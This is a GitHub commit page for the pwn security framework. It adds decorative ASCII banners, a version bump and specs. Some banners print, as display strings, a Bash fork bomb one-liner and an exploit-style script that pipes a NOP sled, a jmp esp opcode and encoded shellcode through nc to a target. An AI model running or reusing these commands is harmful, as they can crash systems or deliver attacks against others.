Skip to content

Commit 3d82406

Browse files
authored
Merge pull request #484 from ninp0/master
Create some more "in-depth" technical banners
2 parents b2b3768 + fd6cedb commit 3d82406

File tree

12 files changed

+284
-11
lines changed

12 files changed

+284
-11
lines changed

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ $ cd /opt/pwn
3737
$ ./install.sh
3838
$ ./install.sh ruby-gem
3939
$ pwn
40-
pwn[v0.4.978]:001 >>> PWN.help
40+
pwn[v0.4.981]:001 >>> PWN.help
4141
```
4242

4343
[![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
5252
$ gem uninstall --all --executables pwn
5353
$ gem install --verbose pwn
5454
$ pwn
55-
pwn[v0.4.978]:001 >>> PWN.help
55+
pwn[v0.4.981]:001 >>> PWN.help
5656
```
5757

5858
If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
6262
$ rvmsudo gem uninstall --all --executables pwn
6363
$ rvmsudo gem install --verbose pwn
6464
$ pwn
65-
pwn[v0.4.978]:001 >>> PWN.help
65+
pwn[v0.4.981]:001 >>> PWN.help
6666
```
6767

6868
PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:

lib/pwn/banner.rb

Lines changed: 19 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -8,12 +8,16 @@ module Banner
88
autoload :Anon, 'pwn/banner/anon'
99
autoload :Bubble, 'pwn/banner/bubble'
1010
autoload :Cheshire, 'pwn/banner/cheshire'
11+
autoload :CodeCave, 'pwn/banner/code_cave'
1112
autoload :DontPanic, 'pwn/banner/dont_panic'
13+
autoload :ForkBomb, 'pwn/banner/fork_bomb'
1214
autoload :FSociety, 'pwn/banner/f_society'
15+
autoload :JmpEsp, 'pwn/banner/jmp_esp'
1316
autoload :Matrix, 'pwn/banner/matrix'
1417
autoload :Ninja, 'pwn/banner/ninja'
1518
autoload :OffTheAir, 'pwn/banner/off_the_air'
1619
autoload :Pirate, 'pwn/banner/pirate'
20+
autoload :Radare2, 'pwn/banner/radare2'
1721
autoload :WhiteRabbit, 'pwn/banner/white_rabbit'
1822

1923
# Supported Method Parameters::
@@ -23,7 +27,7 @@ module Banner
2327

2428
public_class_method def self.get(opts = {})
2529
index = opts[:index].to_i
26-
index = Random.rand(1..10) unless index.positive?
30+
index = Random.rand(1..14) unless index.positive?
2731

2832
banner = ''
2933
case index
@@ -34,18 +38,26 @@ module Banner
3438
when 3
3539
banner = PWN::Banner::Cheshire.get
3640
when 4
37-
banner = PWN::Banner::DontPanic.get
41+
banner = PWN::Banner::CodeCave.get
3842
when 5
39-
banner = PWN::Banner::FSociety.get
43+
banner = PWN::Banner::DontPanic.get
4044
when 6
41-
banner = PWN::Banner::Matrix.get
45+
banner = PWN::Banner::ForkBomb.get
4246
when 7
43-
banner = PWN::Banner::Ninja.get
47+
banner = PWN::Banner::FSociety.get
4448
when 8
45-
banner = PWN::Banner::OffTheAir.get
49+
banner = PWN::Banner::JmpEsp.get
4650
when 9
47-
banner = PWN::Banner::Pirate.get
51+
banner = PWN::Banner::Matrix.get
4852
when 10
53+
banner = PWN::Banner::Ninja.get
54+
when 11
55+
banner = PWN::Banner::OffTheAir.get
56+
when 12
57+
banner = PWN::Banner::Pirate.get
58+
when 13
59+
banner = PWN::Banner::Radare2.get
60+
when 14
4961
banner = PWN::Banner::WhiteRabbit.get
5062
else
5163
raise 'Invalid Index.'

lib/pwn/banner/code_cave.rb

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# frozen_string_literal: true
2+
3+
require 'colorize'
4+
5+
module PWN
6+
module Banner
7+
# This plugin processes images into readable text
8+
module CodeCave
9+
# Supported Method Parameters::
10+
# PWN::Banner::CodeCave.get
11+
12+
public_class_method def self.get
13+
'
14+
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000 .ELF............
15+
00000010: 0200 0300 0100 0000 208e 0408 3400 0000 ........ ...4...
16+
00000020: ac00 0000 0000 0000 3400 2000 0100 2800 ........4. ...(.
17+
00000030: 0400 0300 0100 0000 0000 0000 0080 0408 ................
18+
00000040: 0080 0408 c000 0000 c000 0000 0500 0000 ................
19+
00000050: 0010 0000 0100 0000 0000 0000 0080 0408 ................
20+
00000060: 0000 0000 0000 0000 0000 0000 0600 0000 ................
21+
00000070: 7077 6e00 0000 0000 0000 0000 0000 0000 pwn.............
22+
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
23+
00000090: 0000 0000 0000 0000 0000 0000 0000 0021 ...............!
24+
000000a0: b82a 0000 00b9 1d00 0000 baf4 0000 00ba ..*.............
25+
000000b0: 9a86 0408 e970 ffff ff31 c040 cd80 0000 ....p...1.@.....
26+
'.light_black
27+
rescue StandardError => e
28+
raise e
29+
end
30+
31+
# Author(s):: 0day Inc. <[email protected]>
32+
33+
public_class_method def self.authors
34+
"AUTHOR(S):
35+
0day Inc. <[email protected]>
36+
"
37+
end
38+
39+
# Display Usage for this Module
40+
41+
public_class_method def self.help
42+
puts "USAGE:
43+
#{self}.get
44+
45+
#{self}.authors
46+
"
47+
end
48+
end
49+
end
50+
end

lib/pwn/banner/fork_bomb.rb

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
require 'colorize'
4+
5+
module PWN
6+
module Banner
7+
# This plugin processes images into readable text
8+
module ForkBomb
9+
# Supported Method Parameters::
10+
# PWN::Banner::ForkBomb.get
11+
12+
public_class_method def self.get
13+
'
14+
$ pwn() { pwn | pwn & }; pwn
15+
'.blue
16+
rescue StandardError => e
17+
raise e
18+
end
19+
20+
# Author(s):: 0day Inc. <[email protected]>
21+
22+
public_class_method def self.authors
23+
"AUTHOR(S):
24+
0day Inc. <[email protected]>
25+
"
26+
end
27+
28+
# Display Usage for this Module
29+
30+
public_class_method def self.help
31+
puts "USAGE:
32+
#{self}.get
33+
34+
#{self}.authors
35+
"
36+
end
37+
end
38+
end
39+
end

lib/pwn/banner/jmp_esp.rb

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# frozen_string_literal: true
2+
3+
require 'colorize'
4+
5+
module PWN
6+
module Banner
7+
# This plugin processes images into readable text
8+
module JmpEsp
9+
# Supported Method Parameters::
10+
# PWN::Banner::JmpEsp.get
11+
12+
public_class_method def self.get
13+
'
14+
#!/bin/bash
15+
nop=$(printf \'\x90%.0s\' {1..1337})
16+
asm_ops=\'\xff\xe4\'
17+
sh_code=\'\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0c\x09\x11\xb5\x83\xeb\xfc\xe2\xf4\x3d\xd2\xe6\x56\x5f\x4a\x42\xdf\x0e\x80\xf0\x05\x6a\xc4\x91\xee\x52\x5b\x79\xb7\x0c\x0c\x28\xdf\x1c\x58\x41\x3c\xed\x63\x77\xed\xc1\x89\x98\xf4\x08\xba\x15\x05\x6a\xc4\x91\xf6\xbc\x6f\xdc\x35\x9f\x50\x7b\x8a\x54\xc4\x91\xfc\x75\xf1\x79\x9a\x23\x7a\x79\xdd\x23\x6b\x78\xdb\x85\xea\x41\xe6\x85\xe8\xa1\xbe\xc1\x89\x11\xb5\'
18+
pwn="${nop}${asm_ops}${sh_code}"
19+
echo -en $pwn | nc $TARGET $PORT
20+
'.red
21+
rescue StandardError => e
22+
raise e
23+
end
24+
25+
# Author(s):: 0day Inc. <[email protected]>
26+
27+
public_class_method def self.authors
28+
"AUTHOR(S):
29+
0day Inc. <[email protected]>
30+
"
31+
end
32+
33+
# Display Usage for this Module
34+
35+
public_class_method def self.help
36+
puts "USAGE:
37+
#{self}.get
38+
39+
#{self}.authors
40+
"
41+
end
42+
end
43+
end
44+
end

lib/pwn/banner/ninja.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ module Ninja
2727
%%%+ *%%#
2828
.%%%. :%%%.
2929
=**+ +##=
30+
\xe5\xbf\x8d\xe8\xa1\x93
3031
'.light_blue
3132
rescue StandardError => e
3233
raise e

lib/pwn/banner/radare2.rb

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# frozen_string_literal: true
2+
3+
require 'colorize'
4+
5+
module PWN
6+
module Banner
7+
# This plugin processes images into readable text
8+
module Radare2
9+
# Supported Method Parameters::
10+
# PWN::Banner::Radare2.get
11+
12+
public_class_method def self.get
13+
'
14+
$ sudo r2 -d `pidof ${TARGET_BINARY}`
15+
[0x7f000070776e]> aaaa
16+
[0x7f000070776e]> ia ~..
17+
[0x7f000070776e]> afl ~..
18+
[0x7f000070776e]> db main
19+
[0x7f000070776e]> db
20+
[0x7f000070776e]> dc
21+
[0x7f000070776e]> pdg
22+
[0x7f000070776e]> v
23+
'.yellow
24+
rescue StandardError => e
25+
raise e
26+
end
27+
28+
# Author(s):: 0day Inc. <[email protected]>
29+
30+
public_class_method def self.authors
31+
"AUTHOR(S):
32+
0day Inc. <[email protected]>
33+
"
34+
end
35+
36+
# Display Usage for this Module
37+
38+
public_class_method def self.help
39+
puts "USAGE:
40+
#{self}.get
41+
42+
#{self}.authors
43+
"
44+
end
45+
end
46+
end
47+
end

lib/pwn/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# frozen_string_literal: true
22

33
module PWN
4-
VERSION = '0.4.978'
4+
VERSION = '0.4.981'
55
end

spec/lib/pwn/banner/code_cave_spec.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# frozen_string_literal: true
2+
3+
require 'spec_helper'
4+
5+
describe PWN::Banner::CodeCave do
6+
it 'should cointain a method for banner retrieval' do
7+
get_response = PWN::Banner::CodeCave
8+
expect(get_response).to respond_to :get
9+
end
10+
11+
it 'should display information for authors' do
12+
authors_response = PWN::Banner::CodeCave
13+
expect(authors_response).to respond_to :authors
14+
end
15+
16+
it 'should display information for existing help method' do
17+
help_response = PWN::Banner::CodeCave
18+
expect(help_response).to respond_to :help
19+
end
20+
end

spec/lib/pwn/banner/fork_bomb_spec.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# frozen_string_literal: true
2+
3+
require 'spec_helper'
4+
5+
describe PWN::Banner::ForkBomb do
6+
it 'should cointain a method for banner retrieval' do
7+
get_response = PWN::Banner::ForkBomb
8+
expect(get_response).to respond_to :get
9+
end
10+
11+
it 'should display information for authors' do
12+
authors_response = PWN::Banner::ForkBomb
13+
expect(authors_response).to respond_to :authors
14+
end
15+
16+
it 'should display information for existing help method' do
17+
help_response = PWN::Banner::ForkBomb
18+
expect(help_response).to respond_to :help
19+
end
20+
end

0 commit comments

Comments
 (0)